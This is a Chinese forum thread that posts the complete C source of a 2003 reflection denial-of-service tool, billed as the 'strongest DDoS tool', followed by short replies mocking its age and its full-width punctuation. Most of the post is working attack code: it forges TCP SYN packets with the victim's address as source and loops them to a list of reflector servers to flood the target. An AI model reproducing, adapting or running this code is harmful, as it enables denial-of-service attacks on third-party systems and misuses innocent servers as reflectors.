DDOS攻击器原代码{大佬们测试一下}
历史上最强的DDOS工具---DRDOS源代码（危害指数★★★★★）请大家谨慎使用！用C++编写的，用C++生成EXE文件即可
/**************************************************************************/
/* DRDoS - Distributed ReflecTIon Denial of Service tool */
/* */
/* Copyright （C） 2003 KrystalEye.com */
/* */
/* This program is free software; you can redistribute it and/or modify */
/* it under the terms of the GNU General Public License as published by */
/* the Free Software FoundaTIon; either version 2 of the License， or */
/* （at your opTIon） any later version. */
/* */
/* This program is distributed in the hope that it will be useful， */
/* but WITHOUT ANY WARRANTY; without even the implied warranty of */
/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */
/* GNU General Public License for more details. */
/* */
/**************************************************************************/
/* Version - 1.0 */
/* */
/* Purpose - Demonstration of DRDoS attacks */
/* */
/* Author - Nguyen Minh Nhat 《ngmnhat@yahoo.com》 */
/* http://www.krystaleye.com/ */
/* */
/* Disclaimer - You must be ROOT to use RAW socket. */
/* This program is for educational purposes only and */
/* network testing ON YOUR OWN NETWORK！ Do not use it */
/* for malicious purposes！ */
/* I am in NO way responsible for what you do with this */
/* program， or any damage you or this program causes. */
/* */
/* For whom - People with a little knowledge of TCP/IP， C source code */
/* and general UNIX. Otherwise， please keep your hands off， */
/* and catch up on those things first. */
/* */
/* Compiling - gcc -o DRDoS DRDoS.c */
/* */
/* Usage - Usage is described in the welcome screen of this program when */
/* running it without arguments */
/**************************************************************************/
#include 《stdio.h》
#include 《stdlib.h》
#include 《unistd.h》
#include 《string.h》
#include 《sys/types.h》
#include 《sys/socket.h》
#include 《arpa/inet.h》
#include 《netinet/in.h》
#include 《netinet/ip.h》
#include 《netinet/tcp.h》
#include 《netdb.h》
#define IPHDRSIZE sizeof（struct iphdr）
#define TCPHDRSIZE sizeof（struct tcphdr）
#define PSEUDOHDRSIZE sizeof（struct pseudohdr）
struct pseudohdr
{
unsigned long saddr;
unsigned long daddr;
char useless;
unsigned char protocol;
unsigned short length;
};
struct forcksum
{
struct pseudohdr pseudo;
struct tcphdr tcp;
};
unsigned short in_cksum（unsigned short * addr，int len）;
int main（int argc，char * argv［］）;
int main（int argc，char * argv［］）
{
int val;
char fname［1000］;
FILE * list;
char * packet;
struct iphdr * ip;
struct tcphdr * tcp;
struct forcksum helpcksum;
int serverfd;
struct sockaddr_in server;
char saddr［100］，daddr［100］;
unsigned short a，b，c，d，sport，dport，tport;
if （argc ！= 3）
{
printf（“\nDistributed Reflection DoS tool - v1.0\n”）;
printf（“Copyright （C） 2003 KrystalEye.com\n\n”）;
printf（“Usage： %s 《list》 《target IP》\n\n”，argv［0］）;
printf（“ -list ： Path to Zombies （\”Reflection Servers\“） list file\n”）;
printf（“ -target IP： IP address of target\n\n”）;
printf（“*** Syntax of list file ***\n”）;
printf（“ -Each line contains 1 zombie‘s information\n”）;
printf（“ -Each zombie is described by 5 numbers：\n”）;
printf（“ 4 octets of IP address （without ’。‘） and Port number\n”）;
printf（“ -Numbers are seperated by at least 1 blank character （’ ‘）\n”）;
printf（“Example： 203 162 56 78 80\n”）;
printf（“ =》 IP： 203.162.56.78 || Port： 80\n\n”）;
printf（“Email： ngmnhat@yahoo.com\n”）;
printf（“Good luck！ Thanks for using this tool！\n\n”）;
exit（-1）;
}
else
{
sprintf（fname，“%s”，argv［1］）;
sprintf（saddr，“%s”，argv［2］）;
sprintf（daddr，“%s”，argv［2］）;
tport = random（） % 10000;
sport = tport;
dport = tport;
}
if （（packet = （char *）malloc（IPHDRSIZE + TCPHDRSIZE）） == NULL）
{
printf（“Error： malloc（）\n”）;
exit（-1）;
}
bzero（packet，sizeof（packet））;
bzero（&helpcksum，sizeof（helpcksum））;
ip = （struct iphdr *）packet;
tcp = （struct tcphdr *）（packet + IPHDRSIZE）;
helpcksum.pseudo.saddr = inet_addr（saddr）;
helpcksum.pseudo.daddr = inet_addr（daddr）;
helpcksum.pseudo.useless = 0;
helpcksum.pseudo.protocol = IPPROTO_TCP;
helpcksum.pseudo.length = htons（TCPHDRSIZE）;
tcp-》source = htons（sport）;
tcp-》dest = htons（dport）;
tcp-》seq = htonl（random（））;
tcp-》ack_seq = 0;
tcp-》doff = 5;
tcp-》fin = 0;
tcp-》syn = 1;
tcp-》rst = 0;
tcp-》psh = 0;
tcp-》ack = 0;
tcp-》window = htons（65535）;
tcp-》urg_ptr = 0;
tcp-》check = 0;
helpcksum.tcp = *tcp;
tcp-》check = in_cksum（（unsigned short *）&helpcksum，TCPHDRSIZE +
PSEUDOHDRSIZE）;
ip-》ihl = 5;
ip-》version = 4;
ip-》tos = 0;
ip-》tot_len = IPHDRSIZE + TCPHDRSIZE;
ip-》id = random（）;
ip-》ttl = 255;
ip-》protocol = IPPROTO_TCP;
ip-》saddr = inet_addr（saddr）;
ip-》daddr = inet_addr（daddr）;
ip-》check = 0;
ip-》check = in_cksum（（unsigned short *）ip，IPHDRSIZE）;
if （（serverfd = socket（AF_INET，SOCK_RAW，IPPROTO_RAW）） 《 0）
{
printf（“Error： socket（）\n”）;
exit（-1）;
}
setsockopt（serverfd，IPPROTO_IP，IP_HDRINCL，&val，sizeof（int））;
bzero（&server，sizeof（struct sockaddr））;
server.sin_family = AF_INET;
if （（list = fopen（fname，“r”）） == NULL）
{
printf（“Error： cannot open file\n”）;
exit（-1）;
}
fscanf（list，“%hu”，&a）;
if （feof（list））
{
printf（“Error： empty list\n”）;
fclose（list）;
exit（-1）;
}
fclose（list）;
printf（“\nAttacking %s.。。\n\n”，argv［2］）;
printf（“Press 《Ctrl-C》 to Stop.\n”）;
while （1）
{
list = fopen（fname，“r”）;
while （！feof（list））
{
fscanf（list，“ %hu %hu %hu %hu %hu”，&a，&b，&c，&d，&tport）;
sprintf（daddr，“%hu.%hu.%hu.%hu”，a，b，c，d）;
helpcksum.pseudo.daddr = inet_addr（daddr）;
ip-》daddr = inet_addr（daddr）;
ip-》id = random（）;
ip-》check = 0;
dport = tport;
tcp-》source = htons（random（） % 10000）;
tcp-》dest = htons（dport）;
tcp-》seq = htonl（random（））;
tcp-》check = 0;
helpcksum.tcp = *tcp;
tcp-》check = in_cksum（（unsigned short *）&helpcksum，TCPHDRSIZE +
PSEUDOHDRSIZE）;
ip-》check = in_cksum（（unsigned short *）ip，IPHDRSIZE）;
server.sin_addr.s_addr = inet_addr（daddr）;
server.sin_port = htons（dport）;
sendto（serverfd，packet，ip-》tot_len，0，（struct sockaddr *）&server，sizeof
（struct sockaddr））;
usleep（100）;
}
fclose（list）;
}
close（serverfd）;
return 0;
}
unsigned short in_cksum（unsigned short * addr，int len）
{
register int sum = 0;
u_short answer = 0;
register u_short * w = addr;
register int nleft = len;
while （nleft 》 1）
{
sum += *w++;
nleft -= 2;
}
if （nleft == 1）
{
*（u_char *）（&answer） = *（u_char *）w;
sum += answer;
}
sum = （sum 》》 16） + （sum & 0xffff）;
sum += （sum 》》 16）;
answer = ~sum;
return answer;
} 标题带有[最]字,违反了广告法 03年的东西能强到哪里去。。 DDOS还是DOS？？
lol.gif
lol.gif
太逗了 全角符号组成了代码（滑稽） 真是秀儿啊。。。。
lol.gif
自己测试了，有效果再发出来
022.gif
厉害了呀 没有任何用！！！！！2003年的吗？
页:
[1]
2